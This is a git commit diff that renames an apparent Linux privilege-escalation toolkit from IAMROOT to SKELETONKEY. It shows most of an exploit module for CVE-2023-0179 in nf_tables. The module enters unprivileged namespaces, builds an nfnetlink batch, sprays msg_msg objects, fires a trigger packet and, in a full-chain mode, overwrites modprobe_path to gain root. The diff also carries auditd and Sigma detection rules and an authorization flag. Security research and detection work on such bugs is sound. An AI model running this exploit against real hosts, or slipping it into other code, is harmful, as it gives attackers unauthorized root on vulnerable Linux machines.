rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
@@ -20,7 +20,7 @@ Upstream fix: mainline 6.2-rc4 (commit `696e1a48b1a1`, Jan 2023).
|
||||
Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 /
|
||||
5.15.88 / 6.1.6.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN →
|
||||
NEWSET with `NFTA_SET_DESC` describing variable-length elements →
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* nft_payload_cve_2023_0179 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_PAYLOAD_IAMROOT_MODULES_H
|
||||
#define NFT_PAYLOAD_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module nft_payload_module;
|
||||
|
||||
#endif
|
||||
+54
-54
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* nft_payload_cve_2023_0179 — IAMROOT module
|
||||
* nft_payload_cve_2023_0179 — SKELETONKEY module
|
||||
*
|
||||
* Netfilter nf_tables variable-length element-extension OOB R/W.
|
||||
* Discovered January 2023 by Davide Ornaghi. nf_tables payload set/get
|
||||
@@ -25,12 +25,12 @@
|
||||
* payload-set whose attacker-controlled verdict.code drives the
|
||||
* OOB), spray msg_msg payloads adjacent to the regs->data target,
|
||||
* fires a synthetic packet through the chain, snapshots
|
||||
* /proc/slabinfo, logs to /tmp/iamroot-nft_payload.log, returns
|
||||
* IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
|
||||
* /proc/slabinfo, logs to /tmp/skeletonkey-nft_payload.log, returns
|
||||
* SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
|
||||
* - With --full-chain: after the trigger lands, we resolve kernel
|
||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||
* a Davide-Ornaghi-style payload-set arb-write via the shared
|
||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself
|
||||
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
|
||||
* is FALLBACK-DEPTH: we refire the set-element registration with
|
||||
* a verdict code chosen so the OOB index lands on a msg_msg slot
|
||||
* we tagged with the caller's kaddr + payload bytes. The exact
|
||||
@@ -47,7 +47,7 @@
|
||||
* unprivileged user even on a kernel-vulnerable host.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -129,12 +129,12 @@ static bool nf_tables_loaded(void)
|
||||
return found;
|
||||
}
|
||||
|
||||
static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_payload: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced with the set-payload extension in 5.4. Anything
|
||||
@@ -145,7 +145,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
|
||||
"(set-payload extension landed in 5.4)\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_payload_range, &v);
|
||||
@@ -153,7 +153,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
@@ -177,14 +177,14 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nft_payload: still patch the kernel — a root "
|
||||
"attacker can still trigger the bug\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_payload: VULNERABLE — kernel in range AND "
|
||||
"user_ns clone allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
@@ -225,7 +225,7 @@ static int enter_unpriv_namespaces(void)
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Minimal nfnetlink batch builder — same shape as nf_tables_cve_2024_1086
|
||||
* to keep the IAMROOT family code self-consistent; we inline rather
|
||||
* to keep the SKELETONKEY family code self-consistent; we inline rather
|
||||
* than link against the other module so a future refactor can pull the
|
||||
* helpers up into core/ without breaking either consumer.
|
||||
* ------------------------------------------------------------------ */
|
||||
@@ -341,9 +341,9 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
* Per-module strings.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "iamroot_pl_t";
|
||||
static const char NFT_CHAIN_NAME[] = "iamroot_pl_c";
|
||||
static const char NFT_SET_NAME[] = "iamroot_pl_s";
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_pl_t";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_pl_c";
|
||||
static const char NFT_SET_NAME[] = "skeletonkey_pl_s";
|
||||
|
||||
/* NFT expression "name" attributes are NUL-terminated short strings. */
|
||||
#define NFT_EXPR_PAYLOAD_NAME "payload"
|
||||
@@ -373,7 +373,7 @@ static const char NFT_SET_NAME[] = "iamroot_pl_s";
|
||||
* exploitable range. The exact "right" magic is per-build; we ship a
|
||||
* default that matched Davide's PoC on a stock 5.15 build and rely on
|
||||
* the finisher's sentinel-file post-check to flag a layout mismatch as
|
||||
* IAMROOT_EXPLOIT_FAIL rather than fake success. */
|
||||
* SKELETONKEY_EXPLOIT_FAIL rather than fake success. */
|
||||
#define NFT_PAYLOAD_OOB_INDEX_DEFAULT 0x100
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -685,7 +685,7 @@ static void trigger_packet(void)
|
||||
dst.sin_port = htons(31337);
|
||||
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
const char m[] = "iamroot-nft_payload-trigger";
|
||||
const char m[] = "skeletonkey-nft_payload-trigger";
|
||||
for (int i = 0; i < 8; i++) {
|
||||
(void)!sendto(s, m, sizeof m, MSG_DONTWAIT,
|
||||
(struct sockaddr *)&dst, sizeof dst);
|
||||
@@ -732,7 +732,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq,
|
||||
* KASAN, lockdep, kernel build options all shift it). The shipped
|
||||
* default oob_index matches Davide's PoC on a stock 5.15 build; the
|
||||
* shared finisher's sentinel-file post-check flags layout mismatch as
|
||||
* IAMROOT_EXPLOIT_FAIL rather than fake success.
|
||||
* SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
struct nft_payload_arb_ctx {
|
||||
@@ -807,21 +807,21 @@ static int nft_payload_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
* Exploit body.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] nft_payload: refusing — --i-know not passed; "
|
||||
"exploit code can crash the kernel\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_payload: already running as root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
iamroot_result_t pre = nft_payload_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = nft_payload_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nft_payload: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
@@ -841,35 +841,35 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
#ifndef __linux__
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* --- --full-chain path: resolve offsets in parent before doing
|
||||
* anything destructive. */
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("nft_payload");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("nft_payload");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
|
||||
if (enter_unpriv_namespaces() < 0) {
|
||||
fprintf(stderr, "[-] nft_payload: userns entry failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
|
||||
NETLINK_NETFILTER);
|
||||
if (sock < 0) {
|
||||
perror("[-] socket(NETLINK_NETFILTER)");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
@@ -887,7 +887,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
|
||||
uint8_t *batch = calloc(1, 16 * 1024);
|
||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
||||
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
|
||||
uint32_t seq = (uint32_t)time(NULL);
|
||||
size_t blen = build_trigger_batch(batch, 16 * 1024, &seq,
|
||||
@@ -901,7 +901,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
drain_queues(qids_small, SPRAY_QUEUES_SMALL);
|
||||
drain_queues(qids_large, SPRAY_QUEUES_LARGE);
|
||||
free(batch); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
struct nft_payload_arb_ctx ac = {
|
||||
@@ -917,10 +917,10 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
.arb_calls = 0,
|
||||
};
|
||||
|
||||
iamroot_result_t r = iamroot_finisher_modprobe_path(
|
||||
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
|
||||
&off, nft_payload_arb_write, &ac, !ctx->no_shell);
|
||||
|
||||
FILE *fl = fopen("/tmp/iamroot-nft_payload.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-nft_payload.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d "
|
||||
"spray_small=%d spray_large=%d\n",
|
||||
@@ -936,9 +936,9 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
|
||||
/* --- primitive-only path: fork-isolated trigger so a kernel oops
|
||||
* doesn't take down the iamroot driver. */
|
||||
* doesn't take down the skeletonkey driver. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* --- CHILD --- */
|
||||
@@ -1016,7 +1016,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
pre_96, post_96);
|
||||
}
|
||||
|
||||
FILE *log = fopen("/tmp/iamroot-nft_payload.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-nft_payload.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"nft_payload trigger child: spray_small=%d spray_large=%d "
|
||||
@@ -1048,7 +1048,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
"likely fired (KASAN/oops can manifest as child "
|
||||
"signal)\n", WTERMSIG(status));
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -1061,19 +1061,19 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
" Davide Ornaghi's payload-set + regs->data\n"
|
||||
" arb-write + modprobe_path overwrite chain.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc >= 20 && rc <= 24) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nft_payload: trigger setup failed (child rc=%d)\n",
|
||||
rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
@@ -1081,15 +1081,15 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
* Cleanup.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_payload_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] nft_payload: tearing down log\n");
|
||||
}
|
||||
if (unlink("/tmp/iamroot-nft_payload.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-nft_payload.log") < 0 && errno != ENOENT) {
|
||||
/* ignore */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -1101,16 +1101,16 @@ static const char nft_payload_auditd[] =
|
||||
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by NETLINK_NETFILTER\n"
|
||||
"# socket setup. Canonical exploit shape: unprivileged userns + nft\n"
|
||||
"# rule loading. False positives: firewalld, docker/podman rootless.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-payload-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft-payload-userns\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-payload-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft-payload-userns\n"
|
||||
"# Watch for the canonical post-exploit primitive: setresuid(0,0,0)\n"
|
||||
"# from a previously-unpriv task is the smoking gun for any kernel LPE.\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 "
|
||||
"-k iamroot-nft-payload-priv\n";
|
||||
"-k skeletonkey-nft-payload-priv\n";
|
||||
|
||||
static const char nft_payload_sigma[] =
|
||||
"title: Possible CVE-2023-0179 nft_payload regset-OOB exploitation\n"
|
||||
"id: c83d6e92-iamroot-nft-payload\n"
|
||||
"id: c83d6e92-skeletonkey-nft-payload\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape for CVE-2023-0179: an\n"
|
||||
@@ -1134,7 +1134,7 @@ static const char nft_payload_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
|
||||
|
||||
const struct iamroot_module nft_payload_module = {
|
||||
const struct skeletonkey_module nft_payload_module = {
|
||||
.name = "nft_payload",
|
||||
.cve = "CVE-2023-0179",
|
||||
.summary = "nft_payload set-id regset OOB R/W (Davide Ornaghi) → kernel R/W",
|
||||
@@ -1151,7 +1151,7 @@ const struct iamroot_module nft_payload_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_nft_payload(void)
|
||||
void skeletonkey_register_nft_payload(void)
|
||||
{
|
||||
iamroot_register(&nft_payload_module);
|
||||
skeletonkey_register(&nft_payload_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* nft_payload_cve_2023_0179 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_PAYLOAD_SKELETONKEY_MODULES_H
|
||||
#define NFT_PAYLOAD_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module nft_payload_module;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user